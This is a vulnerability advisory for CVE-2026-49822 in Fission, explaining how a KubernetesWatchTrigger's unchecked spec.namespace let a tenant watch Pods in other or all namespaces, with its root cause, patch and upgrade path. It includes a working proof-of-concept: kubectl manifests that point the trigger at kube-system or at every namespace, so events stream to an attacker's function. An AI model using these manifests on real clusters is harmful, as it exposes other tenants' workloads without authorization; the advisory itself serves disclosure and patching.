CVE-2026-49822: Fission KubernetesWatchTrigger Cross-Namespace Event Leakage
A low-privilege Fission tenant could spy on Pods, Services, and Jobs in any Kubernetes namespace, or even the entire cluster, by creating a watch trigger that pointed its spec.namespace at a namespace
The problem
In Fission <= 1.23.0, the KubernetesWatchTrigger (KWT) CRD has a spec.namespace field that tells the kubewatcher which Kubernetes namespace to watch. The kubewatcher consumed this field directly, without checking that it matched the trigger's own metadata.namespace.
Because kubewatcher uses a cluster-scoped service account, it happily opened a watch on any namespace the attacker named and POSTed every matching event as full JSON to the attacker's function.
Two independent flaws compounded the impact. The validating webhook registered verbs=create only, so a subsequent PATCH or UPDATE request bypassed validation entirely. Separately, leaving spec.namespace empty resolved to client-go's all-namespaces semantic, giving a single trigger visibility into every namespace on the cluster.
Proof of concept
A working proof-of-concept for CVE-2026-49822 in github.com/fission/fission, with the exact payload below.
# Step 1: deploy a receiver function in attacker's namespace (tenant-a)
fission fn create --name spy --env python --code spy.py --namespace tenant-a
# Step 2: create a KWT whose spec.namespace points at the VICTIM namespace
kubectl apply -f - <<'EOF'
apiVersion: fission.io/v1
kind: KubernetesWatchTrigger
metadata:
name: cross-ns-spy
namespace: tenant-a # attacker's own namespace (they have create RBAC here)
spec:
namespace: kube-system # VICTIM namespace -- kubewatcher watches this instead
type: pod
functionref:
type: name
name: spy
EOF
# Variant: omit spec.namespace entirely to watch ALL namespaces
kubectl apply -f - <<'EOF'
apiVersion: fission.io/v1
kind: KubernetesWatchTrigger
metadata:
name: all-ns-spy
namespace: tenant-a
spec:
type: pod
functionref:
type: name
name: spy
EOF
# Every Pod ADDED/MODIFIED/DELETED event in kube-system (or cluster-wide)
# is now serialized as JSON and POST-ed to tenant-a's spy function by kubewatcher.The root cause is a missing namespace-equality check in pkg/kubewatcher/kubewatcher.go: createKubernetesWatch used w.Spec.Namespace as the watch target without asserting w.Spec.Namespace == w.Namespace (the CRD's own namespace). This is a classic confused-deputy pattern (CWE-284, CWE-862): the cluster-scoped kubewatcher service account did the privileged work on behalf of an unprivileged caller who controlled the target.
The patch (PR #3379, commit e2b9266) adds the equality check in both the webhook Validate function and the controller guard, and coerces an empty spec.namespace to the trigger's own namespace instead of letting it fall through to client-go's all-namespaces default.
The webhook marker was also widened from verbs=create to verbs=create;update so that PATCH/UPDATE requests are no longer able to reintroduce a cross-namespace target after initial admission.
The fix
Upgrade to Fission v1.24.0. PR #3379 (commit e2b92663) adds the cross-namespace check to both the admission webhook (pkg/webhook/kuberneteswatchtrigger.go, now covering create and update verbs) and a defence-in-depth guard in pkg/kubewatcher/kubewatcher.go. Empty spec.namespace now coerces to the trigger's own namespace.
No configuration change is needed unless you previously relied on the all-namespaces behaviour, in which case you must create one KWT per namespace.
Reported by sanketsudake (Fission maintainer).
Related research
- high · 8.1Fission MessageQueueTrigger Secret Exfiltration and PodSpec Injection
- high · 7.7CVE-2026-49821CVE-2026-49821: Fission Package Cross-Namespace Confused Deputy RCE and SA Token Exfiltration
- high · 7.7CVE-2026-49823CVE-2026-49823: Fission Cross-Namespace Package Read via Unvalidated PackageRef
- high · 8.5CVE-2026-49824CVE-2026-49824: Fission Cross-Namespace Environment Reference via Unvalidated EnvironmentRef